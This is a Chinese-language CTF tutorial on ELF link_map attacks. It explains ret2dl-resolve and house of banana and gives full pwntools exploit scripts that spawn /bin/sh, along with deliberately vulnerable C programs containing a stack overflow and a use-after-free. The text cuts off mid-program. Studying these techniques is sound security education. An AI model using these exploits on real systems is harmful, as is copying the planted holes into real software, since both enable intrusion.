elf之link map攻击
elf之link map攻击 在ELF(Executable and Linkable Format)文件中,Link Map 是链接器生成的一个详细的内存布局文件,展示了链接过程中各个段的地址、大小和符号表信息。它用于描述程序在内存中的布局,包括哪些符号被导入、导出,各个节(如.text、.data、.bss)的内存地址,依赖库的加载顺序等。 而在我们的pwn中,就有两种专门针对link map
elf之link map攻击
在ELF(Executable and Linkable Format)文件中,Link Map 是链接器生成的一个详细的内存布局文件,展示了链接过程中各个段的地址、大小和符号表信息。它用于描述程序在内存中的布局,包括哪些符号被导入、导出,各个节(如.text、.data、.bss)的内存地址,依赖库的加载顺序等。
而在我们的pwn中,就有两种专门针对link map的攻击方式
首先我们来看看栈
ret2dl-resolve
总览
在栈上,利用link map的攻击方法叫做ret2dl-resolve,需要用 ret2dlresolve 的题目的最大特征是不提供 libc 。另外如果使用 ret2dlresolve 则不能使用 patchelf 修改 elf 文件,因为这样会移动延迟绑定相关的结构。
我们利用的相关结构主要有 .dynamic 、.dynstr 、.dynsym 和 .rel.plt这四个
以32位程序为例

首先我们来介绍一下这四段
.dynamic段作用:
.dynamic段包含了一系列动态链接器需要的配置信息,以指导加载器如何加载共享库和处理符号重定位。内容:存储一系列键值对,包含与动态链接相关的数据项,如依赖的共享库(DT_NEEDED)、重定位表位置(DT_REL/DT_RELA)等。
.dynstr段作用:
.dynstr段存储了动态符号表中用到的符号和库的字符串信息。内容:包含动态符号的名称字符串和共享库名称字符串,用于符号和库的解析。在动态链接过程中,如果需要找到某个函数或变量的具体地址,链接器会通过
.dynsym段中的符号索引找到对应的字符串偏移,从而在.dynstr中获得字符串名称。.dynsym段作用:
.dynsym段是动态符号表,包含所有动态符号(如全局变量和函数)的相关信息。内容:每个条目包含符号的名称、类型、地址等。动态链接器通过
.dynsym段获取符号信息,并借助.dynstr获取符号名称,最终进行符号解析和重定位。.rel.plt段作用:
.rel.plt段(或.rela.plt)包含了与PLT(Procedure Linkage Table)相关的重定位信息,用于延迟绑定(Lazy Binding)过程中实现对外部函数的解析。- 内容:
.rel.plt存储了待重定位符号的索引和重定位类型,用于动态解析目标函数地址,并在第一次调用时通过 PLT 和 GOT(Global Offset Table) 机制完成符号解析。.rel.plt使用.dynsym中的符号信息,并通过.dynstr中的符号名称完成解析。
当程序第一次调用一个外部函数时,会触发延迟绑定(Lazy Binding),以下是具体过程:
- 调用PLT表:
- 程序在首次调用外部函数时,首先会跳转到 PLT(Procedure Linkage Table)表的一个入口(PLT 是用于外部函数调用的跳转表)。
- 每个外部函数在 PLT 中都有一个入口,该入口初始指向一个“桩代码”(Stub),用来触发符号解析过程。
- PLT跳转到
.rel.plt中的重定位项:- 桩代码会通过 GOT(Global Offset Table,全局偏移表)跳转到
.rel.plt段中的重定位项。 .rel.plt包含了与此外部函数调用相关的重定位信息(如符号索引、重定位类型等),用于指示链接器去解析该符号的实际地址。
- 桩代码会通过 GOT(Global Offset Table,全局偏移表)跳转到
- 读取
.dynsym和.dynstr以找到函数实际地址:.rel.plt的重定位项包含了符号在.dynsym表中的索引,动态链接器据此查找.dynsym中对应的符号表项,获取到该符号的详细信息(如类型、地址)。- 然后,链接器通过
.dynsym表项中的字符串偏移找到.dynstr表中的符号名称,从而获取具体的函数名称。 - 链接器通过查找符号名称,找到函数实际地址并将其写入 GOT 中。
- 完成解析:
- 一旦函数的地址被写入 GOT,PLT 表的入口将跳转到 GOT 中存储的实际地址,外部函数调用得以完成。
- 之后对同一外部函数的调用将直接使用已解析的地址,避免重复解析,提升效率。
接下来就是对这几个结构体进行分析
Dyn
/* Dynamic section entry. */
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;
Dyn 结构体用于描述动态链接时需要使用到的信息,其成员含义如下:
d_tag表示标记值,指明了该结构体的具体类型。比如,DT_NEEDED表示需要链接的库名,DT_PLTRELSZ表示 PLT 重定位表的大小等。- d_un是一个联合体,用于存储不同类型的信息。具体含义取决于d_tag的值。
- 如果
d_tag的值是一个整数类型,则用d_val存储它的值。 - 如果
d_tag的值是一个指针类型,则用d_ptr存储它的值。
- 如果
Sym
/* Symbol table entry. */
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
Sym 结构体用于描述 ELF 文件中的符号(Symbol)信息,其成员含义如下:
st_name:指向一个存储符号名称的字符串表的索引,即字符串相对于字符串表起始地址的偏移。st_info:如果st_other为 0 则设置成 0x12 即可。st_other:决定函数参数link_map参数是否有效。如果该值不为 0 则直接通过link_map中的信息计算出目标函数地址。否则需要调用_dl_lookup_symbol_x函数查询出新的link_map和sym来计算目标函数地址。st_value:符号地址相对于模块基址的偏移值。
Rel
/* Relocation table entry without addend (in section of type SHT_REL). */
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
/* I have seen two different definitions of the Elf64_Rel and
Elf64_Rela structures, so we'll leave them out until Novell (or
whoever) gets their act together. */
/* The following, at least, is used on Sparc v9, MIPS, and Alpha. */
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;
Rel 结构体用于描述重定位(Relocation)信息,其成员含义如下:
r_offset:加上传入的参数link_map->l_addr等于该函数对应 got 表地址。r_info:符号索引的低 8 位(32 位 ELF)或低 32 位(64 位 ELF)指示符号的类型这里设为 7 即可,高 24 位(32 位 ELF)或高 32 位(64 位 ELF)指示符号的索引即Sym构造的数组中的索引。
link_map
struct link_map
{
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
...
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
link_map 是存储目标函数查询结果的一个结构体,我们主要关心 l_addr 和 l_info 两个成员即可。
l_addr:目标函数所在 lib 的基址。- l_info:Dyn结构体指针,指向各种结构对应的Dyn。
l_info[DT_STRTAB]:即l_info数组第 5 项,指向.dynstr对应的Dyn。l_info[DT_SYMTAB]:即l_info数组第 6 项,指向Sym对应的Dyn。l_info[DT_JMPREL]:即l_info数组第 23 项,指向Rel对应的Dyn。
_dl_runtime_resolve 函数
这个函数就是上面说的延迟绑定机制,这里详细介绍的是该函数的具体实现。
其中 _dl_runtime_resolve 的核心函数位 _dl_fixup 函数,这里是为了避免 _dl_fixup 传参与目标函数传参干扰(_dl_runtime_resolve 函数通过栈传参然后转换成 _dl_fixup 的寄存器传参)以及调用目标函数才在 _dl_fixup 外面封装一个 _dl_runtime_resolve 函数。_dl_fixup 函数的定义如下:
_dl_fixup(truct link_map *l, ElfW(Word) reloc_arg) {
// 获取符号表地址
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取字符串表地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// 获取函数对应的重定位表结构地址,sizeof (PLTREL) 即 Elf*_Rel 的大小。
#define reloc_offset reloc_arg * sizeof (PLTREL)
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 获取函数对应的符号表结构地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 得到函数对应的got地址,即真实函数地址要填回的地址
void *const rel_addr = (void *) (l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
// 判断重定位表的类型,必须要为 ELF_MACHINE_JMP_SLOT(7)
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
// ☆ 关键判断,决定目标函数地址的查找方法。☆
if (__builtin_expect(ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) {
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P) {
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
// 查找目标函数地址
// result 为 libc 的 link_map ,其中有 libc 的基地址。
// sym 指针指向 libc 中目标函数对应的符号表,其中有目标函数在 libc 中的偏移。
result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// 基址 + 偏移算出目标函数地址 value
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
} else {
/* We already found the symbol. The module (and therefore its load
address) is also known. */
// 这里认为 link_map 和 sym 中已经是目标函数的信息了,因此直接计算目标函数地址。
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value(l, reloc, value);
if (sym != NULL
&& __builtin_expect(ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 更新 got 表
return elf_machine_fixup_plt(l, result, reloc, rel_addr, value);
需要注意的是 _dl_fixup 中会有如下判断,根据这个判断决定了重定位的策略。
if (__builtin_expect(ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
_dl_fixup 函数在计算出目标函数地址并更新 got 表之后会回到 _dl_runtime_resolve 函数,之后 _dl_runtime_resolve 函数会调用目标函数。
32位程序
在 32 位下我们可以利用 ELFW(ST_VISIBILITY) (sym->st_other) 为 0 时的执行流程进行控制流劫持,因为这个执行流程会自动计算目标函数的地址,不需要知道 libc 具体版本,适用性更强。
其中 ELFW(ST_VISIBILITY) (sym->st_other) 为 0 时 _dl_runtime_resolve 函数的具体执行流程为:

- 用
link_map访问.dynamic,取出.dynstr,.dynsym,.rel.plt的指针。 .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel。rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym。.dynstr + sym->st_name得出符号名字符串指针。- 在动态链接库查找这个函数的地址,并且把地址赋值给
*rel->r_offset,即 GOT 表。 - 调用这个函数。
改写 .dynamic 的 DT_STRTAB
这个只有在 checksec 时 NO RELRO 可行,即 .dynamic 可写。因为 ret2dl-resolve 会从 .dynamic 里面拿 .dynstr 字符串表的指针,然后加上 offset 取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间,当 resolve 的时候,就能 resolve 成我们所指定的任意库函数。
操纵第二个参数,使其指向我们所构造的 Elf32_Rel
由于 _dl_runtime_resolve 函数各种按下标取值的操作都没有进行越界检查,因此如果 .dynamic 不可写就操纵 _dl_runtime_resolve 函数的第二个参数,使其访问到可控的内存,然后在该内存中伪造 .rel.plt ,进一步可以伪造 .dynsym 和 .dynstr ,最终调用目标函数。
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void vuln() {
char buf[0x100];
puts("please input:");
read(0, buf, 0x300);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
vuln();
return 0;
}
先进行栈迁移,调用 _dl_runtime_resolve 函数

可以看出 _dl_runtime_resolve(link_map_obj, reloc_offset) 的参数1 link_map_obj 被 push 到栈中,在此之前,栈顶一定是参数2 reloc_arg 。因此构造的 rop 中接下来的值是伪造的参数2。接下来rop链的内容是目标函数的返回地址和参数
之后就是伪造那 3 个结构,具体见下图

注意:如果 patchelf 修改了 ELF 文件,那么这些表的偏移会发生改变。
from pwn import *
context(log_level="debug", arch="i386", os="linux")
elf = ELF("./pwn32")
io = process(["./pwn32"])
rop_addr = 0x804c000 + 0x800 # adjust according the stack when calling _dl_runtime_resolve
def ret2dlresolve():
func_name = b"system" # bytes for Python 3
func_args = b"/bin/sh" # bytes for Python 3
resolve_plt = elf.get_section_by_name('.plt').header['sh_addr']
JMPREL = elf.dynamic_value_by_tag('DT_JMPREL')
SYMTAB = elf.dynamic_value_by_tag('DT_SYMTAB')
STRTAB = elf.dynamic_value_by_tag('DT_STRTAB')
fake_rel_addr = rop_addr + 5 * 4
reloc_offset = fake_rel_addr - JMPREL
fake_sym_addr = rop_addr + 7 * 4
align = (0x10 - ((fake_sym_addr - SYMTAB) & 0xF)) & 0xF
fake_sym_addr += align
r_info = ((fake_sym_addr - SYMTAB) // 0x10 << 8) | 0x7 # 0x7 means that Assertion `ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT'
fake_rel = p32(elf.bss() + 0x10) + p32(r_info)
fake_name_addr = fake_sym_addr + 4 * 4
st_name = fake_name_addr - STRTAB
fake_sym = p32(st_name) + p32(0) * 2 + p8(0x12) + p8(0) + p16(0)
bin_sh_offset = (fake_sym_addr + 0x10 - rop_addr + len(func_name) + 3) & ~3
bin_sh_addr = rop_addr + bin_sh_offset
payload = p32(0)
payload += p32(resolve_plt)
payload += p32(reloc_offset)
payload += p32(0)
payload += p32(bin_sh_addr)
payload += fake_rel
payload += b'\x00' * align
payload += fake_sym
payload += func_name
payload = payload.ljust(bin_sh_offset, b'\x00')
payload += func_args + b'\x00'
return payload
if __name__ == '__main__':
payload = b'a' * 0x108
payload += p32(rop_addr)
payload += p32(elf.plt['read'])
payload += p32(next(elf.search(asm('leave; ret'), executable=True)))
payload += p32(0)
payload += p32(rop_addr)
payload += p32(0x100)
io.sendafter(b"please input:", payload)
io.send(ret2dlresolve())
io.interactive()
64位程序
64 位下伪造时(.bss 段离 .dynsym 太远) reloc->r_info 也很大,最后使得访问 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; 时程序访存出错,导致程序崩溃。因此我们退而求其次选择 ELFW(ST_VISIBILITY) (sym->st_other) 不为 0 时时的程序执行流程,此时计算的目标函数地址为 l->l_addr + sym->st_value 。
虽然这种方法无法在不知道 libc 版本的情况下完成利用,但是可以在不泄露 libc 基址的情况下完成利用。
为了实现 64 位的 ret2dlresolve ,我们需要作如下构造:
resolve函数传入的第二个参数为 0 ,从而从Elf64_Rel数组中找到第一个Elf64_Rel。为了避免更新 got 表时内存访问错误,
Elf64_Rel的r_offset加上link_map->l_addr需要指向可读写内存。Elf64_Rel的r_info的低 32 比特设置为ELF_MACHINE_JMP_SLOT即 7 。为了避免下面这行代码访存错误,需要让l_info[5]指向可读写内存。
constchar*strtab = (``constvoid*) D_PTR (l, l_info[DT_STRTAB]);Elf64_Rel的r_info的高 32 比特设置为 0 这样找的就是Elf64_Sym数组中的第一个Elf64_Sym。link_map->l_info[6]->d_un.dptr指向puts@got - 8这样就伪造出Elf64_Sym的st_value为puts函数地址,同时st_order也大概率为非 0 。link_map的l_addr设置为&system - &puts,这样l->l_addr + sym->st_value结果就是system函数地址。

from pwn import *
context(log_level="debug", arch="i386", os="linux")
elf = ELF("./pwn64")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process("./pwn64")
rw_mem = elf.bss() + 0x10
n64 = lambda x: (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFF
def build_fake_link_map(fake_linkmap_addr, func, base_func='puts'):
offset = n64(libc.sym[func] - libc.sym[base_func])
linkmap = p64(offset) # l_addr
linkmap = linkmap.ljust(0x68, b'\x00')
linkmap += p64(elf.bss()) # l_info[5]
linkmap += p64(fake_linkmap_addr + 0x100) # l_info[6]
linkmap = linkmap.ljust(0xf8, b'\x00')
linkmap += p64(fake_linkmap_addr + 0x110) # l_info[23]
linkmap += p64(0) + p64(elf.got[base_func] - 8) # Elf64_Dyn
linkmap += p64(0) + p64(fake_linkmap_addr + 0x120) # Elf64_Dyn
linkmap += p64(n64(elf.bss() - offset)) + p32(7) + p32(0) # Elf64_Rel
return linkmap
# gdb.attach(io, "b *system\nb *0x40119A\ndir /glibc/2.35/source")
# pause()
fake_link_map_addr = 0x404000 + 0x800
fake_link_map = build_fake_link_map(fake_link_map_addr, 'system')
sh_addr = fake_link_map_addr + len(fake_link_map)
resolve_plt = elf.get_section_by_name('.plt').header.sh_addr
payload = b''
payload += 0x108 * b'\x00'
payload += p64(next(elf.search(asm('ret'), executable=True)))
payload += p64(next(elf.search(asm('pop rdi; ret'), executable=True)))
payload += p64(0)
payload += p64(next(elf.search(asm('pop rsi; pop r15; ret'), executable=True)))
payload += p64(fake_link_map_addr)
payload += p64(0)
payload += p64(elf.plt['read'])
payload += p64(next(elf.search(asm('pop rdi; ret'), executable=True)))
payload += p64(sh_addr)
payload += p64(resolve_plt + 6)
payload += p64(fake_link_map_addr) # struct link_map *l
payload += p64(0) # ElfW(Word) reloc_arg
payload = payload.ljust(0x200, b'\x00')
io.sendafter(b'please input:\n', payload)
payload = fake_link_map + b'/bin/sh\x00'
io.send(payload)
io.interactive()
堆-house of banana
不同于io劫持虚表,banana劫持的是rtld_global这个结构体,而在我们利用exit结束程序的时候,程序会调用这个结构体,来进行一些恢复之类的操作
而严格来说,我们攻击的是这个结构体里面的link_map 指针(高版本是对其有保护的,后面再说),和曾经的exit_hook攻击很像,但是exit_hook在2.34之后就已经没有写权限了,所以失效了
在 ld.so 中定义了一个类型为 rtld_global 的全局变量 _rtld_global 。
/* This is the structure which defines all variables global to ld.so
(except those which cannot be added for some reason). */
struct rtld_global _rtld_global =
{
/* Get architecture specific initializer. */
#include <dl-procruntime.c>
/* Generally the default presumption without further information is an
* executable stack but this is not true for all platforms. */
._dl_stack_flags = DEFAULT_STACK_PERMS,
#ifdef _LIBC_REENTRANT
._dl_load_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER,
._dl_load_write_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER,
#endif
._dl_nns = 1,
._dl_ns =
{
#ifdef _LIBC_REENTRANT
[LM_ID_BASE] = { ._ns_unique_sym_table
= { .lock = _RTLD_LOCK_RECURSIVE_INITIALIZER } }
#endif
}
};
其中 rtld_global 类型部分定义如下:
struct rtld_global
{
#endif
/* Don't change the order of the following elements. 'dl_loaded'
must remain the first element. Forever. */
/* Non-shared code has no support for multiple namespaces. */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
EXTERN struct link_namespaces
{
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* Direct pointer to the searchlist of the main object. */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
unsigned int _ns_global_scope_alloc;
/* During dlopen, this is the number of objects that still need to
be added to the global scope map. It has to be taken into
account when resizing the map, for future map additions after
recursive dlopen calls from ELF constructors. */
unsigned int _ns_global_scope_pending_adds;
/* Once libc.so has been loaded into the namespace, this points to
its link map. */
struct link_map *libc_map;
/* Search table for unique objects. */
struct unique_sym_table
{
__rtld_lock_define_recursive (, lock)
struct unique_sym
{
uint32_t hashval;
const char *name;
const ElfW(Sym) *sym;
const struct link_map *map;
} *entries;
size_t size;
size_t n_elements;
void (*free) (void *);
} _ns_unique_sym_table;
/* Keep track of changes to each namespace' list. */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS];
/* One higher than index of last used namespace. */
EXTERN size_t _dl_nns;
...
这里只需要关注 link_namespaces 类型的数组 _dl_ns[DL_NNS] 和该数组中有效元素的数量 _dl_nns 以及 link_map 类型的指针 _ns_loaded 和该指针指向的链表元素数量 _ns_nloaded 。
link_map 相关结构如下:
其中主要关注的是 l_addr,l_next,l_real,l_info[DT_FINI_ARRAY](l_info[26]),l_info[DT_FINI_ARRAYSZ](l_info[28]),l_init_called。
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
/* All following members are internal to the dynamic linker.
They may change without notice. */
/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;
/* Number of the namespace this link map belongs to. */
Lmid_t l_ns;
struct libname_list *l_libname;
/* Indexed pointers to dynamic section.
[0,DT_NUM) are indexed by the processor-independent tags.
[DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
[DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
indexed by DT_VERSIONTAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
DT_EXTRATAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
indexed by DT_VALTAGIDX(tagvalue) and
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
const ElfW(Phdr) *l_phdr; /* Pointer to program header table in core. */
ElfW(Addr) l_entry; /* Entry point location. */
ElfW(Half) l_phnum; /* Number of program header entries. */
ElfW(Half) l_ldnum; /* Number of dynamic segment entries. */
/* Array of DT_NEEDED dependencies and their dependencies, in
dependency order for symbol lookup (with and without
duplicates). There is no entry before the dependencies have
been loaded. */
struct r_scope_elem l_searchlist;
/* We need a special searchlist to process objects marked with
DT_SYMBOLIC. */
struct r_scope_elem l_symbolic_searchlist;
/* Dependent object that first caused this object to be loaded. */
struct link_map *l_loader;
/* Array with version names. */
struct r_found_version *l_versions;
unsigned int l_nversions;
/* Symbol hash table. */
Elf_Symndx l_nbuckets;
Elf32_Word l_gnu_bitmask_idxbits;
Elf32_Word l_gnu_shift;
const ElfW(Addr) *l_gnu_bitmask;
union
{
const Elf32_Word *l_gnu_buckets;
const Elf_Symndx *l_chain;
};
union
{
const Elf32_Word *l_gnu_chain_zero;
const Elf_Symndx *l_buckets;
};
unsigned int l_direct_opencount; /* Reference count for dlopen/dlclose. */
enum /* Where this object came from. */
{
lt_executable, /* The main executable program. */
lt_library, /* Library needed by main executable. */
lt_loaded /* Extra run-time loaded shared object. */
} l_type:2;
unsigned int l_relocated:1; /* Nonzero if object's relocations done. */
unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
...
在 _dl_fini 函数中有对 _dl_ns 数组以及 _dl_ns 中的链表 _ns_loaded 的遍历,主要逻辑如下:
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
else
{
/* Now we can allocate an array to hold all the pointers and
copy the pointers in. */
struct link_map *maps[nloaded];
unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;
/* Now we have to do the sorting. We can skip looking for the
binary itself which is at the front of the search list for
the main namespace. */
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);
/* We do not rely on the linked list of loaded object anymore
from this point on. We have our own list here (maps). The
various members of this list cannot vanish since the open
count is too high and will be decremented in this loop. So
we release the lock so that some code which might be called
from a destructor can directly or indirectly access the
lock. */
__rtld_lock_unlock_recursive (GL(dl_load_lock));
/* 'maps' now contains the objects in the right order. Now
call the destructors. We have to process this array from
the front. */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];
if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
...
这段代码的主要逻辑是遍历 _dl_ns 数组,对于_dl_ns 中的某个元素,将 _ns_loaded 链表中的元素放入 maps 数组然后遍历 maps 数组。对于 maps 数组中的每个元素,如果满足一些条件,最终会调用其中 l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr 指向的函数数组中的所有函数。
通过分析可知可以利用 large bin attack 劫持 _rtld_global 的 _ns_loaded 指针然后伪造 link_map 链表从而劫持程序流程。
在伪造 link_map 的时候需要绕过如下检查:
- 为了确保伪造的 link_map 能够加入到 map 数组中,需要令
l_real指针指向 link_map 结构体自身。
if (l == l->l_real)
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
为了绕过如下检查,需要让 link_map 链表中的元素个数为 4 ,因为 _rtld_global 中的 _ns_nloaded 默认为 4 。
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
为了确保能够进入下面的 if 判断,需要让该 link_map 的 l_init_called 位置 1
if (l->l_init_called)
最终伪造的结构如下图所示,其中 link_map 链表可以伪造到一个 chunk 中,或者将 l_next 指针指向原来的 link_map 链表:

然而这个 link_map 不能随便伪造,否则过不了 _dl_sort_maps 函数。原作者伪造的 link_map 结构如下:

这里给出我之前写的题目
//gcc test.c -o test -w -g
//ubuntu 18.04 GLIBC 2.27-3ubuntu1.6
#include<stdio.h>
#include <unistd.h>
#define num 10
void *chunk_list[num];
int chunk_size[num];
void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void menu()
{
puts("1.add");
puts("2.show");
puts("3.edit");
puts("4.delete");
puts("5.exit");
puts("Your choice:");
}
int add()
{
int index,size;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("Size:");
scanf("%d",&size);
if(size<0x80||size>0x500)
exit(1);
chunk_list[index] = calloc(size,1);
chunk_size[index] = size;
}
int edit()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("context: ");
read(0,chunk_list[index],chunk_size[index]);
}
int delete()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
free(chunk_list[index]);
}
int show()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("context: ");
puts(chunk_list[index]);
}
int main()
{
int choice;
init();
while(1){
menu();
scanf("%d",&choice);
if(choice==5){
